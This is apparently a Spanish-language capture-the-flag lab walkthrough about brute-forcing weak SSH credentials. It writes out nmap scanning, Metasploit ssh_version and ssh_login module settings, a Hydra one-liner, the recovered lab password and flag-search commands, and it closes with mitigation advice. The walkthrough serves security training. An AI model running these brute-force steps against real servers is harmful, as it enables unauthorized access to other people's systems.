GhostAcademy logo GhostAcademy unfantasmaenelsistema.com

Vulnerable SSH Server

Ataque por fuerza bruta contra un servidor SSH vulnerable

Objetivo: Atacar un servidor SSH con credenciales débiles usando Metasploit para fuerza bruta, obtener acceso remoto y localizar la flag.

¿Qué es SSH y por qué es un objetivo frecuente?

SSH (Secure Shell) proporciona acceso remoto cifrado. Si las credenciales son débiles, la seguridad del canal no sirve de nada. Es un protocolo universalmente habilitado y un vector de ataque primario.

1. Identificación del objetivo

cat /root/Desktop/target

2. Escaneo de puertos

nmap -sS -sV <IP>

Detecta OpenSSH en el puerto 22/TCP. La versión es importante para buscar CVEs específicos.

3. Enumeración de versión SSH con Metasploit

msfconsole -q
use auxiliary/scanner/ssh/ssh_version
set RHOSTS <IP>
exploit

Confirma la versión exacta de OpenSSH y el sistema operativo.

4. Fuerza bruta de credenciales

use auxiliary/scanner/ssh/ssh_login
set RHOSTS <IP>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set STOP_ON_SUCCESS true
exploit

STOP_ON_SUCCESS true detiene el ataque al encontrar la primera credencial válida. Resultado esperado: sysadmin:password123.

Alternativa con Hydra: hydra -l sysadmin -P /ruta/wordlist ssh://<IP>

5. Acceso SSH directo

ssh sysadmin@<IP>
# Password: password123

Con las credenciales encontradas obtienes una shell interactiva en la máquina víctima.

6. Búsqueda de la flag

find / -name flag* 2>/dev/null
cat /ruta/de/la/flag

2>/dev/null suprime errores de permisos para que el output sea limpio.

Flujo del ataque

1
Reconocimiento: nmap -sS -sV
2
Enumeración: ssh_version en MSF
3
Fuerza bruta: ssh_login + STOP_ON_SUCCESS
4
Acceso remoto: ssh usuario@IP
5
Objetivo final: find flag + cat

Conceptos clave

ConceptoDescripción
ssh_versionFingerprinta versión exacta de OpenSSH y SO
ssh_loginMódulo MSF para fuerza bruta de credenciales SSH
STOP_ON_SUCCESSDetiene al encontrar credenciales válidas
OpenSSH < 7.7Vulnerable a username enumeration (CVE-2018-15473)
Mitigación: Deshabilitar autenticación por contraseña, usar solo claves SSH, cambiar puerto por defecto y habilitar fail2ban.